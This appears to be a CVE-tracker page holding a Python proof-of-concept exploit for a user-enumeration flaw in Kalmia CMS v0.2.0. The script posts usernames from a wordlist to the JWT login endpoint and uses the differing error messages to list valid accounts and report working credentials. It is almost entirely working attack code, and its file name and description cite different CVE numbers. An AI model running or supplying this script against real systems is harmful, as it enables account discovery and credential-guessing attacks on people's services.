4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-65899.py PY
#!/usr/bin/env python3

import argparse
import requests
import json
import sys
from urllib.parse import urljoin
from colorama import Fore, Style, init
from time import sleep

init(autoreset=True)

banner = f"""
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗       ██████╗ ███████╗ █████╗  █████╗  █████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔══██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗ ███████╗╚█████╔╝╚██████║╚██████║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚════██║██╔══██╗ ╚═══██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ╚██████╔╝███████║╚█████╔╝ █████╔╝ █████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝       ╚═════╝ ╚══════╝ ╚════╝  ╚════╝  ╚════╝
"""

for char in banner:
    print(f"{Fore.RED}{Style.BRIGHT}{char}", end='', flush=True)
    sleep(0.0008)

def checkCredentials(url, username, password):
    endpoint = "/kal-api/auth/jwt/create" # Edit if necessary
    full_url = urljoin(url, endpoint)
    
    payload = {
        "username": username,
        "password": password
    }
    
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0'
    }
    
    try:
        response = requests.post(
            full_url,
            headers=headers,
            data=json.dumps(payload),
            timeout=30
        )
        
        if response.status_code == 200:
            return "valid_credentials"
        
        response_data = response.json()
        message = response_data.get('message', '')
        
        if message == "user_not_found":
            return "user_not_found"
        elif message == "invalid_password":
            return "invalid_password"
        else:
            return "unknown_error"
            
    except requests.exceptions.RequestException as e:
        return "connection_error"
    except json.JSONDecodeError:
        return "invalid_response"

def main():
    parser = argparse.ArgumentParser(description='Exploit for user enumeration: Kalmia CMS v0.2.0 - CVE-2025-65900', formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument('url', help='Base URL (e.g., http://localhost:2727)')
    parser.add_argument('-u', '--user', help='Username to test')
    parser.add_argument('-p', '--password', help='Password to test')
    parser.add_argument('-w', '--wordlist', help='Wordlist file for user enumeration')
    
    args = parser.parse_args()

    print("-" * 50)
    print(f"[*] URL Base: {args.url}")

    print("-" * 50)
    
    if not args.url.startswith(('http://', 'https://')):
        print("Error: URL must start with http:// or https://")
        sys.exit(1)
    
    if args.user and args.password:
        result = checkCredentials(args.url, args.user, args.password)
        
        if result == "valid_credentials":
            print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid credentials: {args.user}:{args.password}")
        elif result == "invalid_password":
            print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid user: {args.user}")
        elif result == "user_not_found":
            pass
        else:
            print(f"[-] Error: {result}")
    
    elif args.wordlist and args.password:
        try:
            with open(args.wordlist, 'r') as f:
                users = [line.strip() for line in f if line.strip()]
            
            print(f"{Fore.YELLOW}{Style.BRIGHT}[*] Starting user enumeration with {len(users)} users...\n")
            
            valid_users = []
            for user in users:
                result = checkCredentials(args.url, user, args.password)
                
                if result == "invalid_password":
                    valid_users.append(user)
                    print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid user found: {user}")
                elif result == "valid_credentials":
                    print(f"{Fore.GREEN}{Style.BRIGHT}[+] Valid credentials: {user}:{args.password}")
            
            if valid_users:
                print(f"\n{Fore.GREEN}{Style.BRIGHT}[+] Summary - Valid users: {', '.join(valid_users)}")
            else:
                print("[-] No valid users found")
                
        except FileNotFoundError:
            print(f"Error: Wordlist file '{args.wordlist}' not found")
            sys.exit(1)
        except Exception as e:
            print(f"Error reading wordlist: {e}")
            sys.exit(1)
    
    else:
        print("Error: You must provide either:")
        print("  - Single test: -u USER -p PASSWORD")
        print("  - Enumeration: -w WORDLIST -p PASSWORD")
        sys.exit(1)

if __name__ == "__main__":
    main()